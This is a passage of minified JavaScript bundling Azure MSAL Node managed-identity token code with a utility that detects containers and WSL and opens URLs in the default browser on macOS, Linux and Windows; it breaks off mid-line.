extends Kf{constructor(A,K,q,Y,z,w){super(A,K,q,Y,z);this.msiEndpoint=w}static getEnvironmentVariables(){return[process.env[hq.MSI_ENDPOINT]]}static tryCreate(A,K,q,Y,z,w){let[H]=QKA.getEnvironmentVariables();if(!H)return A.info(`[Managed Identity] ${K5.CLOUD_SHELL} managed identity is unavailable because the '${hq.MSI_ENDPOINT} environment variable is not defined.`),null;let J=QKA.getValidatedEnvVariableUrlString(hq.MSI_ENDPOINT,H,K5.CLOUD_SHELL,A);if(A.info(`[Managed Identity] Environment variable validation passed for ${K5.CLOUD_SHELL} managed identity. Endpoint URI: ${J}. Creating ${K5.CLOUD_SHELL} managed identity.`),w.idType!==DO.SYSTEM_ASSIGNED)throw wX(iH1);return new QKA(A,K,q,Y,z,H)}createRequest(A){let K=new QT(QH.POST,this.msiEndpoint);return K.headers[tV.METADATA_HEADER_NAME]="true",K.bodyParameters[O$.RESOURCE]=A,K}}});class B$6{constructor(A,K,q){this.minExponentialBackoff=A,this.maxExponentialBackoff=K,this.exponentialDeltaBackoff=q}calculateDelay(A){if(A===0)return this.minExponentialBackoff;return Math.min(Math.pow(2,A-1)*this.exponentialDeltaBackoff,this.maxExponentialBackoff)}}var aK7=k(()=>{/*! @azure/msal-node v3.8.1 2025-10-29 */});class UKA{constructor(){this.exponentialRetryStrategy=new B$6(UKA.MIN_EXPONENTIAL_BACKOFF_MS,UKA.MAX_EXPONENTIAL_BACKOFF_MS,UKA.EXPONENTIAL_DELTA_BACKOFF_MS)}static get MIN_EXPONENTIAL_BACKOFF_MS(){return IYY}static get MAX_EXPONENTIAL_BACKOFF_MS(){return SYY}static get EXPONENTIAL_DELTA_BACKOFF_MS(){return hYY}static get HTTP_STATUS_GONE_RETRY_AFTER_MS(){return bYY}set isNewRequest(A){this._isNewRequest=A}async pauseForRetry(A,K,q){if(this._isNewRequest)this._isNewRequest=!1,this.maxRetries=A===P5.GONE?yYY:RYY;if((LYY.includes(A)||A>=P5.SERVER_ERROR_RANGE_START&&A<=P5.SERVER_ERROR_RANGE_END&&K<this.maxRetries)&&K<this.maxRetries){let Y=A===P5.GONE?UKA.HTTP_STATUS_GONE_RETRY_AFTER_MS:this.exponentialRetryStrategy.calculateDelay(K);return q.verbose(`Retrying request in ${Y}ms (retry attempt: ${K+1})`),await new Promise((z)=>{return setTimeout(z,Y)}),!0}return!1}}var LYY,RYY=3,yYY=7,IYY=1000,SYY=4000,hYY=2000,bYY=1e4;var sK7=k(()=>{eH1();aK7();/*! @azure/msal-node v3.8.1 2025-10-29 */LYY=[P5.NOT_FOUND,P5.REQUEST_TIMEOUT,P5.GONE,P5.TOO_MANY_REQUESTS]});var tK7="/metadata/identity/oauth2/token",xYY,uYY="2018-02-01",TxA;var eK7=k(()=>{gKA();mKA();UH();sK7();/*! @azure/msal-node v3.8.1 2025-10-29 */xYY=`http://169.254.169.254${tK7}`;TxA=class TxA extends Kf{constructor(A,K,q,Y,z,w){super(A,K,q,Y,z);this.identityEndpoint=w}static tryCreate(A,K,q,Y,z){let w;if(process.env[hq.AZURE_POD_IDENTITY_AUTHORITY_HOST])A.info(`[Managed Identity] Environment variable ${hq.AZURE_POD_IDENTITY_AUTHORITY_HOST} for ${K5.IMDS} returned endpoint: ${process.env[hq.AZURE_POD_IDENTITY_AUTHORITY_HOST]}`),w=TxA.getValidatedEnvVariableUrlString(hq.AZURE_POD_IDENTITY_AUTHORITY_HOST,`${process.env[hq.AZURE_POD_IDENTITY_AUTHORITY_HOST]}${tK7}`,K5.IMDS,A);else A.info(`[Managed Identity] Unable to find ${hq.AZURE_POD_IDENTITY_AUTHORITY_HOST} environment variable for ${K5.IMDS}, using the default endpoint.`),w=xYY;return new TxA(A,K,q,Y,z,w)}createRequest(A,K){let q=new QT(QH.GET,this.identityEndpoint);if(q.headers[tV.METADATA_HEADER_NAME]="true",q.queryParameters[O$.API_VERSION]=uYY,q.queryParameters[O$.RESOURCE]=A,K.idType!==DO.SYSTEM_ASSIGNED)q.queryParameters[this.getManagedIdentityUserAssignedIdQueryParameterKey(K.idType,!0)]=K.id;return q.retryPolicy=new UKA,q}}});var BYY="2019-07-01-preview",pKA;var Aq7=k(()=>{gKA();mKA();UH();/*! @azure/msal-node v3.8.1 2025-10-29 */pKA=class pKA extends Kf{constructor(A,K,q,Y,z,w,H){super(A,K,q,Y,z);this.identityEndpoint=w,this.identityHeader=H}static getEnvironmentVariables(){let A=process.env[hq.IDENTITY_ENDPOINT],K=process.env[hq.IDENTITY_HEADER],q=process.env[hq.IDENTITY_SERVER_THUMBPRINT];return[A,K,q]}static tryCreate(A,K,q,Y,z,w){let[H,J,O]=pKA.getEnvironmentVariables();if(!H||!J||!O)return A.info(`[Managed Identity] ${K5.SERVICE_FABRIC} managed identity is unavailable because one or all of the '${hq.IDENTITY_HEADER}', '${hq.IDENTITY_ENDPOINT}' or '${hq.IDENTITY_SERVER_THUMBPRINT}' environment variables are not defined.`),null;let X=pKA.getValidatedEnvVariableUrlString(hq.IDENTITY_ENDPOINT,H,K5.SERVICE_FABRIC,A);if(A.info(`[Managed Identity] Environment variables validation passed for ${K5.SERVICE_FABRIC} managed identity. Endpoint URI: ${X}. Creating ${K5.SERVICE_FABRIC} managed identity.`),w.idType!==DO.SYSTEM_ASSIGNED)A.warning(`[Managed Identity] ${K5.SERVICE_FABRIC} user assigned managed identity is configured in the cluster, not during runtime. See also: https://learn.microsoft.com/en-us/azure/service-fabric/configure-existing-cluster-enable-managed-identity-token-service.`);return new pKA(A,K,q,Y,z,H,J)}createRequest(A,K){let q=new QT(QH.GET,this.identityEndpoint);if(q.headers[tV.ML_AND_SF_SECRET_HEADER_NAME]=this.identityHeader,q.queryParameters[O$.API_VERSION]=BYY,q.queryParameters[O$.RESOURCE]=A,K.idType!==DO.SYSTEM_ASSIGNED)q.queryParameters[this.getManagedIdentityUserAssignedIdQueryParameterKey(K.idType)]=K.id;return q}}});var mYY="2017-09-01",gYY,dKA;var Kq7=k(()=>{mKA();UH();gKA();/*! @azure/msal-node v3.8.1 2025-10-29 */gYY=`Only client id is supported for user-assigned managed identity in ${K5.MACHINE_LEARNING}.`;dKA=class dKA extends Kf{constructor(A,K,q,Y,z,w,H){super(A,K,q,Y,z);this.msiEndpoint=w,this.secret=H}static getEnvironmentVariables(){let A=process.env[hq.MSI_ENDPOINT],K=process.env[hq.MSI_SECRET];return[A,K]}static tryCreate(A,K,q,Y,z){let[w,H]=dKA.getEnvironmentVariables();if(!w||!H)return A.info(`[Managed Identity] ${K5.MACHINE_LEARNING} managed identity is unavailable because one or both of the '${hq.MSI_ENDPOINT}' and '${hq.MSI_SECRET}' environment variables are not defined.`),null;let J=dKA.getValidatedEnvVariableUrlString(hq.MSI_ENDPOINT,w,K5.MACHINE_LEARNING,A);return A.info(`[Managed Identity] Environment variables validation passed for ${K5.MACHINE_LEARNING} managed identity. Endpoint URI: ${J}. Creating ${K5.MACHINE_LEARNING} managed identity.`),new dKA(A,K,q,Y,z,w,H)}createRequest(A,K){let q=new QT(QH.GET,this.msiEndpoint);if(q.headers[tV.METADATA_HEADER_NAME]="true",q.headers[tV.ML_AND_SF_SECRET_HEADER_NAME]=this.secret,q.queryParameters[O$.API_VERSION]=mYY,q.queryParameters[O$.RESOURCE]=A,K.idType===DO.SYSTEM_ASSIGNED)q.queryParameters[BKA.MANAGED_IDENTITY_CLIENT_ID_2017]=process.env[hq.DEFAULT_IDENTITY_CLIENT_ID];else if(K.idType===DO.USER_ASSIGNED_CLIENT_ID)q.queryParameters[this.getManagedIdentityUserAssignedIdQueryParameterKey(K.idType,!1,!0)]=K.id;else throw Error(gYY);return q}}});class QU{constructor(A,K,q,Y,z){this.logger=A,this.nodeStorage=K,this.networkClient=q,this.cryptoProvider=Y,this.disableInternalRetries=z}async sendManagedIdentityTokenRequest(A,K,q,Y){if(!QU.identitySource)QU.identitySource=this.selectManagedIdentitySource(this.logger,this.nodeStorage,this.networkClient,this.cryptoProvider,this.disableInternalRetries,K);return QU.identitySource.acquireTokenWithManagedIdentity(A,K,q,Y)}allEnvironmentVariablesAreDefined(A){return Object.values(A).every((K)=>{return K!==void 0})}getManagedIdentitySource(){return QU.sourceName=this.allEnvironmentVariablesAreDefined(pKA.getEnvironmentVariables())?K5.SERVICE_FABRIC:this.allEnvironmentVariablesAreDefined(FKA.getEnvironmentVariables())?K5.APP_SERVICE:this.allEnvironmentVariablesAreDefined(dKA.getEnvironmentVariables())?K5.MACHINE_LEARNING:this.allEnvironmentVariablesAreDefined(QKA.getEnvironmentVariables())?K5.CLOUD_SHELL:this.allEnvironmentVariablesAreDefined(Uo.getEnvironmentVariables())?K5.AZURE_ARC:K5.DEFAULT_TO_IMDS,QU.sourceName}selectManagedIdentitySource(A,K,q,Y,z,w){let H=pKA.tryCreate(A,K,q,Y,z,w)||FKA.tryCreate(A,K,q,Y,z)||dKA.tryCreate(A,K,q,Y,z)||QKA.tryCreate(A,K,q,Y,z,w)||Uo.tryCreate(A,K,q,Y,z,w)||TxA.tryCreate(A,K,q,Y,z);if(!H)throw wX(nH1);return H}}var qq7=k(()=>{dK7();rK7();oK7();eK7();Aq7();XGA();UH();Kq7();IKA();/*! @azure/msal-node v3.8.1 2025-10-29 */});class Ru{constructor(A){this.config=j67(A||{}),this.logger=new sV(this.config.system.loggerOptions,CJ1,GI);let K={canonicalAuthority:u6.DEFAULT_AUTHORITY};if(!Ru.nodeStorage)Ru.nodeStorage=new hKA(this.logger,this.config.managedIdentityId.id,i_A,K);this.networkClient=this.config.system.networkClient,this.cryptoProvider=new FU;let q={protocolMode:gD.AAD,knownAuthorities:[xX6],cloudDiscoveryMetadata:"",authorityMetadata:""};this.fakeAuthority=new $_(xX6,this.networkClient,Ru.nodeStorage,q,this.logger,this.cryptoProvider.createNewGuid(),void 0,!0),this.fakeClientCredentialClient=new uKA({authOptions:{clientId:this.config.managedIdentityId.id,authority:this.fakeAuthority}}),this.managedIdentityClient=new QU(this.logger,Ru.nodeStorage,this.networkClient,this.cryptoProvider,this.config.disableInternalRetries),this.hashUtils=new SKA}async acquireToken(A){if(!A.resource)throw az(r_A.urlEmptyError);let K={forceRefresh:A.forceRefresh,resource:A.resource.replace("/.default",""),scopes:[A.resource.replace("/.default","")],authority:this.fakeAuthority.canonicalAuthority,correlationId:this.cryptoProvider.createNewGuid(),claims:A.claims,clientCapabilities:this.config.clientCapabilities};if(K.forceRefresh)return this.acquireTokenFromManagedIdentity(K,this.config.managedIdentityId,this.fakeAuthority);let[q,Y]=await this.fakeClientCredentialClient.getCachedAuthenticationResult(K,this.config,this.cryptoProvider,this.fakeAuthority,Ru.nodeStorage);if(K.claims){let z=this.managedIdentityClient.getManagedIdentitySource();if(q&&FYY.includes(z)){let w=this.hashUtils.sha256(q.accessToken).toString(lZ.HEX);K.revokedTokenSha256Hash=w}return this.acquireTokenFromManagedIdentity(K,this.config.managedIdentityId,this.fakeAuthority)}if(q){if(Y===Pw.PROACTIVELY_REFRESHED){this.logger.info("ClientCredentialClient:getCachedAuthenticationResult - Cached access token's refreshOn property has been exceeded'. It's not expired, but must be refreshed.");let z=!0;await this.acquireTokenFromManagedIdentity(K,this.config.managedIdentityId,this.fakeAuthority,z)}return q}else return this.acquireTokenFromManagedIdentity(K,this.config.managedIdentityId,this.fakeAuthority)}async acquireTokenFromManagedIdentity(A,K,q,Y){return this.managedIdentityClient.sendManagedIdentityTokenRequest(A,K,q,Y)}getManagedIdentitySource(){return QU.sourceName||this.managedIdentityClient.getManagedIdentitySource()}}var FYY;var Yq7=k(()=>{p2();QX6();DGA();YxA();RJ1();qq7();AJ1();UH();tH1();/*! @azure/msal-node v3.8.1 2025-10-29 */FYY=[K5.SERVICE_FABRIC]});class m$6{constructor(A,K){this.client=A,this.partitionManager=K}async beforeCacheAccess(A){let K=await this.partitionManager.getKey(),q=await this.client.get(K);A.tokenCache.deserialize(q)}async afterCacheAccess(A){if(A.cacheHasChanged){let K=A.tokenCache.getKVStore(),q=Object.values(K).filter((z)=>J$.isAccountEntity(z)),Y;if(q.length>0){let z=q[0];Y=await this.partitionManager.extractKey(z)}else Y=await this.partitionManager.getKey();await this.client.set(Y,A.tokenCache.serialize())}}}var zq7=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */});var UT={};_q(UT,{version:()=>GI,internals:()=>bX6,UsernamePasswordClient:()=>MxA,TokenCacheContext:()=>MC,TokenCache:()=>wxA,ServerError:()=>RM,ResponseMode:()=>fu,PublicClientApplication:()=>VxA,ProtocolMode:()=>gD,PromptValue:()=>fo,OnBehalfOfClient:()=>fxA,ManagedIdentitySourceNames:()=>K5,ManagedIdentityApplication:()=>Ru,Logger:()=>sV,LogLevel:()=>WO,InteractionRequiredAuthErrorMessage:()=>SX6,InteractionRequiredAuthErrorCodes:()=>LH1,InteractionRequiredAuthError:()=>FT,DistributedCachePlugin:()=>m$6,DeviceCodeClient:()=>PxA,CryptoProvider:()=>FU,ConfidentialClientApplication:()=>NxA,ClientCredentialClient:()=>uKA,ClientConfigurationErrorMessage:()=>Z06,ClientConfigurationErrorCodes:()=>r_A,ClientConfigurationError:()=>o_A,ClientAuthErrorMessage:()=>_06,ClientAuthErrorCodes:()=>oz,ClientAuthError:()=>Lo,ClientAssertion:()=>_I,ClientApplication:()=>xKA,AzureCloudInstance:()=>RU,AuthErrorMessage:()=>X06,AuthErrorCodes:()=>l_A,AuthError:()=>V5});var IJ1=k(()=>{t17();BK7();mK7();LJ1();RJ1();h$6();b$6();Yq7();I$6();kJ1();oX6();zq7();UH();YxA();p2();DGA();/*! @azure/msal-node v3.8.1 2025-10-29 */});var wq7=k(()=>{IJ1()});function jGA(A,K,q){let Y=(z)=>{return vxA.getToken.info(z),new PU({scopes:Array.isArray(A)?A:[A],getTokenOptions:q,message:z})};if(!K)throw Y("No response");if(!K.expiresOn)throw Y('Response had no "expiresOn" property.');if(!K.accessToken)throw Y('Response had no "accessToken" property.')}function g$6(A){let K=A===null||A===void 0?void 0:A.authorityHost;if(!K&&uhA)K=process.env.AZURE_AUTHORITY_HOST;return K!==null&&K!==void 0?K:EhA}function F$6(A,K){if(!K)K=EhA;if(new RegExp(`${A}/?$`).test(K))return K;if(K.endsWith("/"))return K+A;else return`${K}/${A}`}function Hq7(A,K,q){if(A==="adfs"&&K||q)return[K];return[]}function hJ1(A){switch(A){case"error":return UT.LogLevel.Error;case"info":return UT.LogLevel.Info;case"verbose":return UT.LogLevel.Verbose;case"warning":return UT.LogLevel.Warning;default:return UT.LogLevel.Info}}function cKA(A,K,q){if(K.name==="AuthError"||K.name==="ClientAuthError"||K.name==="BrowserAuthError"){let Y=K;switch(Y.errorCode){case"endpoints_resolution_error":return vxA.info(Q2(A,K.message)),new wq(K.message);case"device_code_polling_cancelled":return new m_A("The authentication has been aborted by the caller.");case"consent_required":case"interaction_required":case"login_required":vxA.info(Q2(A,`Authentication returned errorCode ${Y.errorCode}`));break;default:vxA.info(Q2(A,`Failed to acquire token: ${K.message}`));break}}if(K.name==="ClientConfigurationError"||K.name==="BrowserConfigurationAuthError"||K.name==="AbortError"||K.name==="AuthenticationError")return K;if(K.name==="NativeAuthError")return vxA.info(Q2(A,`Error from the native broker: ${K.message} with status code: ${K.statusCode}`)),K;return new PU({scopes:A,getTokenOptions:q,message:K.message})}function Jq7(A){return{localAccountId:A.homeAccountId,environment:A.authority,username:A.username,homeAccountId:A.homeAccountId,tenantId:A.tenantId}}function Oq7(A,K){var q;return{authority:(q=K.environment)!==null&&q!==void 0?q:Gt4,homeAccountId:K.homeAccountId,tenantId:K.tenantId||_t4,username:K.username,clientId:A,version:QYY}}var vxA,QYY="1.0",SJ1=(A,K=Uw1?"Node":"Browser")=>(q,Y,z)=>{if(z)return;switch(q){case UT.LogLevel.Error:A.info(`MSAL ${K} V2 error: ${Y}`);return;case UT.LogLevel.Info:A.info(`MSAL ${K} V2 info message: ${Y}`);return;case UT.LogLevel.Verbose:A.info(`MSAL ${K} V2 verbose message: ${Y}`);return;case UT.LogLevel.Warning:A.info(`MSAL ${K} V2 warning: ${Y}`);return}};var Q$6=k(()=>{TM();YX();y_A();Po();oO6();wq7();vxA=tY("IdentityUtils")});function Xq7(A){return Y06([{name:"imdsRetryPolicy",retry:({retryCount:K,response:q})=>{if((q===null||q===void 0?void 0:q.status)!==404)return{skipStrategy:!0};return te4(K,{retryDelayInMs:A.startDelayInMs,maxRetryDelayInMs:UYY})}}],{maxRetries:A.maxRetries})}var UYY=64000;var $q7=k(()=>{NU();Po()});function cYY(A){var K;if(!phA(A))throw Error(`${UU}: Multiple scopes are not supported.`);let Y=new URL(dYY,(K=process.env.AZURE_POD_IDENTITY_AUTHORITY_HOST)!==null&&K!==void 0?K:pYY),z={Accept:"application/json"};return{url:`${Y}`,method:"GET",headers:U7A(z)}}var UU="ManagedIdentityCredential - IMDS",lKA,pYY="http://169.254.169.254",dYY="/metadata/identity/oauth2/token",U$6;var _q7=k(()=>{NU();Po();YX();mT();lKA=tY(UU);U$6={name:"imdsMsi",async isAvailable(A){let{scopes:K,identityClient:q,getTokenOptions:Y}=A,z=phA(K);if(!z)return lKA.info(`${UU}: Unavailable. Multiple scopes are not supported.`),!1;if(process.env.AZURE_POD_IDENTITY_AUTHORITY_HOST)return!0;if(!q)throw Error("Missing IdentityClient");let w=cYY(z);return EJ.withSpan("ManagedIdentityCredential-pingImdsEndpoint",Y!==null&&Y!==void 0?Y:{},async(H)=>{var J,O;w.tracingOptions=H.tracingOptions;let X=wI(w);X.timeout=((J=H.requestOptions)===null||J===void 0?void 0:J.timeout)||1000,X.allowInsecureConnection=!0;let $;try{lKA.info(`${UU}: Pinging the Azure IMDS endpoint`),$=await q.sendRequest(X)}catch(_){if(Qw1(_))lKA.verbose(`${UU}: Caught error ${_.name}: ${_.message}`);return lKA.info(`${UU}: The Azure IMDS endpoint is unavailable`),!1}if($.status===403){if((O=$.bodyAsText)===null||O===void 0?void 0:O.includes("unreachable"))return lKA.info(`${UU}: The Azure IMDS endpoint is unavailable`),lKA.info(`${UU}: ${$.bodyAsText}`),!1}return lKA.info(`${UU}: The Azure IMDS endpoint is available`),!0})}}});function bJ1(A){var K,q;let Y=A;if(Y===void 0&&((q=(K=globalThis.process)===null||K===void 0?void 0:K.env)===null||q===void 0?void 0:q.AZURE_REGIONAL_AUTHORITY_NAME)!==void 0)Y=process.env.AZURE_REGIONAL_AUTHORITY_NAME;if(Y===p$6.AutoDiscoverRegion)return"AUTO_DISCOVER";return Y}var p$6;var Gq7=k(()=>{(function(A){A.AutoDiscoverRegion="AutoDiscoverRegion",A.USWest="westus",A.USWest2="westus2",A.USCentral="centralus",A.USEast="eastus",A.USEast2="eastus2",A.USNorthCentral="northcentralus",A.USSouthCentral="southcentralus",A.USWestCentral="westcentralus",A.CanadaCentral="canadacentral",A.CanadaEast="canadaeast",A.BrazilSouth="brazilsouth",A.EuropeNorth="northeurope",A.EuropeWest="westeurope",A.UKSouth="uksouth",A.UKWest="ukwest",A.FranceCentral="francecentral",A.FranceSouth="francesouth",A.SwitzerlandNorth="switzerlandnorth",A.SwitzerlandWest="switzerlandwest",A.GermanyNorth="germanynorth",A.GermanyWestCentral="germanywestcentral",A.NorwayWest="norwaywest",A.NorwayEast="norwayeast",A.AsiaEast="eastasia",A.AsiaSouthEast="southeastasia",A.JapanEast="japaneast",A.JapanWest="japanwest",A.AustraliaEast="australiaeast",A.AustraliaSouthEast="australiasoutheast",A.AustraliaCentral="australiacentral",A.AustraliaCentral2="australiacentral2",A.IndiaCentral="centralindia",A.IndiaSouth="southindia",A.IndiaWest="westindia",A.KoreaSouth="koreasouth",A.KoreaCentral="koreacentral",A.UAECentral="uaecentral",A.UAENorth="uaenorth",A.SouthAfricaNorth="southafricanorth",A.SouthAfricaWest="southafricawest",A.ChinaNorth="chinanorth",A.ChinaEast="chinaeast",A.ChinaNorth2="chinanorth2",A.ChinaEast2="chinaeast2",A.GermanyCentral="germanycentral",A.GermanyNorthEast="germanynortheast",A.GovernmentUSVirginia="usgovvirginia",A.GovernmentUSIowa="usgoviowa",A.GovernmentUSArizona="usgovarizona",A.GovernmentUSTexas="usgovtexas",A.GovernmentUSDodEast="usdodeast",A.GovernmentUSDodCentral="usdodcentral"})(p$6||(p$6={}))});import Zq7 from"node:fs";function lYY(){try{return Zq7.statSync("/.dockerenv"),!0}catch{return!1}}function iYY(){try{return Zq7.readFileSync("/proc/self/cgroup","utf8").includes("docker")}catch{return!1}}function c$6(){if(d$6===void 0)d$6=lYY()||iYY();return d$6}var d$6;var Wq7=()=>{};import nYY from"node:fs";function MGA(){if(l$6===void 0)l$6=rYY()||c$6();return l$6}var l$6,rYY=()=>{try{return nYY.statSync("/run/.containerenv"),!0}catch{return!1}};var i$6=k(()=>{Wq7()});import jq7 from"node:process";import oYY from"node:os";import aYY from"node:fs";var Dq7=()=>{if(jq7.platform!=="linux")return!1;if(oYY.release().toLowerCase().includes("microsoft")){if(MGA())return!1;return!0}try{return aYY.readFileSync("/proc/version","utf8").toLowerCase().includes("microsoft")?!MGA():!1}catch{return!1}},po;var n$6=k(()=>{i$6();po=jq7.env.__IS_WSL_TEST__?Dq7:Dq7()});import Mq7 from"node:process";import Pq7,{constants as sYY}from"node:fs/promises";var tYY,eYY=async()=>{return`${await tYY()}c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe`},r$6=async()=>{if(po)return eYY();return`${Mq7.env.SYSTEMROOT||Mq7.env.windir||String.raw`C:\Windows`}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe`};var Vq7=k(()=>{n$6();n$6();tYY=(()=>{let K;return async function(){if(K)return K;let q="/etc/wsl.conf",Y=!1;try{await Pq7.access(q,sYY.F_OK),Y=!0}catch{}if(!Y)return"/mnt/";let z=await Pq7.readFile(q,{encoding:"utf8"}),w=/(?<!#.*)root\s*=\s*(?<mountPoint>.*)/g.exec(z);if(!w)return"/mnt/";return K=w.groups.mountPoint.trim(),K=K.endsWith("/")?K:`${K}/`,K}})()});function co(A,K,q){let Y=(z)=>Object.defineProperty(A,K,{value:z,enumerable:!0,writable:!0});return Object.defineProperty(A,K,{configurable:!0,enumerable:!0,get(){let z=q();return Y(z),z},set(z){Y(z)}}),A}import{promisify as A2Y}from"node:util";import K2Y from"node:process";import{execFile as q2Y}from"node:child_process";async function o$6(){if(K2Y.platform!=="darwin")throw Error("macOS only");let{stdout:A}=await Y2Y("defaults",["read","com.apple.LaunchServices/com.apple.launchservices.secure","LSHandlers"]);return/LSHandlerRoleAll = "(?!-)(?<id>[^"]+?)";\s+?LSHandlerURLScheme = (?:http|https);/.exec(A)?.groups.id??"com.apple.Safari"}var Y2Y;var fq7=k(()=>{Y2Y=A2Y(q2Y)});import z2Y from"node:process";import{promisify as w2Y}from"node:util";import{execFile as H2Y,execFileSync as dUw}from"node:child_process";async function Nq7(A,{humanReadableOutput:K=!0,signal:q}={}){if(z2Y.platform!=="darwin")throw Error("macOS only");let Y=K?[]:["-ss"],z={};if(q)z.signal=q;let{stdout:w}=await J2Y("osascript",["-e",A,Y],z);return w.trim()}var J2Y;var Tq7=k(()=>{J2Y=w2Y(H2Y)});async function a$6(A){return Nq7(`tell application "Finder" to set app_path to application file id "${A}" as string tell application "System Events" to get value of property list item "CFBundleName" of property list file (app_path & ":Contents:Info.plist")`)}var vq7=k(()=>{Tq7()});import{promisify as O2Y}from"node:util";import{execFile as X2Y}from"node:child_process";async function t$6(A=$2Y){let{stdout:K}=await A("reg",["QUERY"," HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\http\\UserChoice","/v","ProgId"]),q=/ProgId\s*REG_SZ\s*(?<id>\S+)/.exec(K);if(!q)throw new s$6(`Cannot find Windows browser in stdout: ${JSON.stringify(K)}`);let{id:Y}=q.groups,z=_2Y[Y];if(!z)throw new s$6(`Unknown browser ID: ${Y}`);return z}var $2Y,_2Y,s$6;var Eq7=k(()=>{$2Y=O2Y(X2Y),_2Y={AppXq0fevzme2pys62n3e0fbqa7peapykr8v:{name:"Edge",id:"com.microsoft.edge.old"},MSEdgeDHTML:{name:"Edge",id:"com.microsoft.edge"},MSEdgeHTM:{name:"Edge",id:"com.microsoft.edge"},"IE.HTTP":{name:"Internet Explorer",id:"com.microsoft.ie"},FirefoxURL:{name:"Firefox",id:"org.mozilla.firefox"},ChromeHTML:{name:"Chrome",id:"com.google.chrome"},BraveHTML:{name:"Brave",id:"com.brave.Browser"},BraveBHTML:{name:"Brave Beta",id:"com.brave.Browser.beta"},BraveSSHTM:{name:"Brave Nightly",id:"com.brave.Browser.nightly"}};s$6=class s$6 extends Error{}});import{promisify as G2Y}from"node:util";import e$6 from"node:process";import{execFile as Z2Y}from"node:child_process";async function A_6(){if(e$6.platform==="darwin"){let A=await o$6();return{name:await a$6(A),id:A}}if(e$6.platform==="linux"){let{stdout:A}=await W2Y("xdg-mime",["query","default","x-scheme-handler/http"]),K=A.trim();return{name:D2Y(K.replace(/.desktop$/,"").replace("-"," ")),id:K}}if(e$6.platform==="win32")return t$6();throw Error("Only macOS, Linux, and Windows are supported")}var W2Y,D2Y=(A)=>A.toLowerCase().replaceAll(/(?:^|\s|-)\S/g,(K)=>K.toUpperCase());var kq7=k(()=>{fq7();vq7();Eq7();W2Y=G2Y(Z2Y)});var bq7={};_q(bq7,{openApp:()=>v2Y,default:()=>E2Y,apps:()=>lo});import K_6 from"node:process";import{Buffer as Iq7}from"node:buffer";import Sq7 from"node:path";import{fileURLToPath as j2Y}from"node:url";import{promisify as M2Y}from"node:util";import hq7 from"node:child_process";import P2Y,{constants as V2Y}from"node:fs/promises";async function N2Y(){let A=await r$6(),K=String.raw`(Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice").ProgId`,q=Iq7.from(K,"utf16le").toString("base64"),{stdout:Y}=await f2Y(A,["-NoProfile","-NonInteractive","-ExecutionPolicy","Bypass","-EncodedCommand",q],{encoding:"utf8"}),z=Y.trim(),w={ChromeHTML:"com.google.chrome",BraveHTML:"com.brave.Browser",MSEdgeHTM:"com.microsoft.edge",FirefoxURL:"org.mozilla.firefox"};return w[z]?{id:w[z]}:{}}function yq7(A){if(typeof A==="string"||Array.isArray(A))return A;let{[Lq7]:K}=A;if(!K)throw Error(`${Lq7} is not supported`);return K}function xJ1({[PGA]:A},{wsl:K}){if(K&&po)return yq7(K);if(!A)throw Error(`${PGA} is not supported`);return yq7(A)}var f2Y,q_6,Cq7,PGA,Lq7,Rq7=async(A,K)=>{let q;for(let Y of A)try{return await K(Y)}catch(z){q=z}throw q},ExA=async(A)=>{if(A={wait:!1,background:!1,newInstance:!1,allowNonzeroExitCode:!1,...A},Array.isArray(A.app))return Rq7(A.app,(J)=>ExA({...A,app:J}));let{name:K,arguments:q=[]}=A.app??{};if(q=[...q],Array.isArray(K))return Rq7(K,(J)=>ExA({...A,app:{name:J,arguments:q}}));if(K==="browser"||K==="browserPrivate"){let J={"com.google.chrome":"chrome","google-chrome.desktop":"chrome","com.brave.Browser":"brave","org.mozilla.firefox":"firefox","firefox.desktop":"firefox","com.microsoft.msedge":"edge","com.microsoft.edge":"edge","com.microsoft.edgemac":"edge","microsoft-edge.desktop":"edge"},O={chrome:"--incognito",brave:"--incognito",firefox:"--private-window",edge:"--inPrivate"},X=po?await N2Y():await A_6();if(X.id in J){let $=J[X.id];if(K==="browserPrivate")q.push(O[$]);return ExA({...A,app:{name:lo[$],arguments:q}})}throw Error(`${X.name} is not supported as a default browser`)}let Y,z=[],w={};if(PGA==="darwin"){if(Y="open",A.wait)z.push("--wait-apps");if(A.background)z.push("--background");if(A.newInstance)z.push("--new");if(K)z.push("-a",K)}else if(PGA==="win32"||po&&!MGA()&&!K){if(Y=await r$6(),z.push("-NoProfile","-NonInteractive","-ExecutionPolicy","Bypass","-EncodedCommand"),!po)w.windowsVerbatimArguments=!0;let J=["Start"];if(A.wait)J.push("-Wait");if(K){if(J.push(`"\`"${K}\`""`),A.target)q.push(A.target)}else if(A.target)J.push(`"${A.target}"`);if(q.length>0)q=q.map((O)=>`"\`"${O}\`""`),J.push("-ArgumentList",q.join(","));A.target=Iq7.from(J.join(" "),"utf16le").toString("base64")}else{if(K)Y=K;else{let J=!q_6||q_6==="/",O=!1;try{await P2Y.access(Cq7,V2Y.X_OK),O=!0}catch{}Y=K_6.versions.electron??(PGA==="android"||J||!O)?"xdg-open":Cq7}if(q.length>0)z.push(...q);if(!A.wait)w.stdio="ignore",w.detached=!0}if(PGA==="darwin"&&q.length>0)z.push("--args",...q);if(A.target)z.push(A.target);let H=hq7.spawn(Y,z,w);if(A.wait)return new Promise((J,O)=>{H.once("error",O),H.once("close",(X)=>{if(!A.allowNonzeroExitCode&&X>0){O(Error(`Exited with code ${X}`));return}J(H)})});return H.unref(),H},T2Y=(A,K)=>{if(typeof A!=="string")throw TypeError("Expected a `target`");return ExA({...K,target:A})},v2Y=(A,K)=>{if(typeof A!=="string"&&!Array.isArray(A))throw TypeError("Expected a valid `name`");let{arguments:q=[]}=K??{};if(q!==void 0&&q!==null&&!Array.isArray(q))throw TypeError("Expected `appArguments` as Array type");return ExA({...K,app:{name:A,arguments:q}})},lo,E2Y;var xq7=k(()=>{Vq7();kq7();i$6();f2Y=M2Y(hq7.execFile),q_6=Sq7.dirname(j2Y(import.meta.url)),Cq7=Sq7.join(q_6,"xdg-open"),{platform:PGA,arch:Lq7}=K_6;lo={};co(lo,"chrome",()=>xJ1({darwin:"google chrome",win32:"chrome",linux:["google-chrome","google-chrome-stable","chromium"]},{wsl:{ia32:"/mnt/c/Program Files 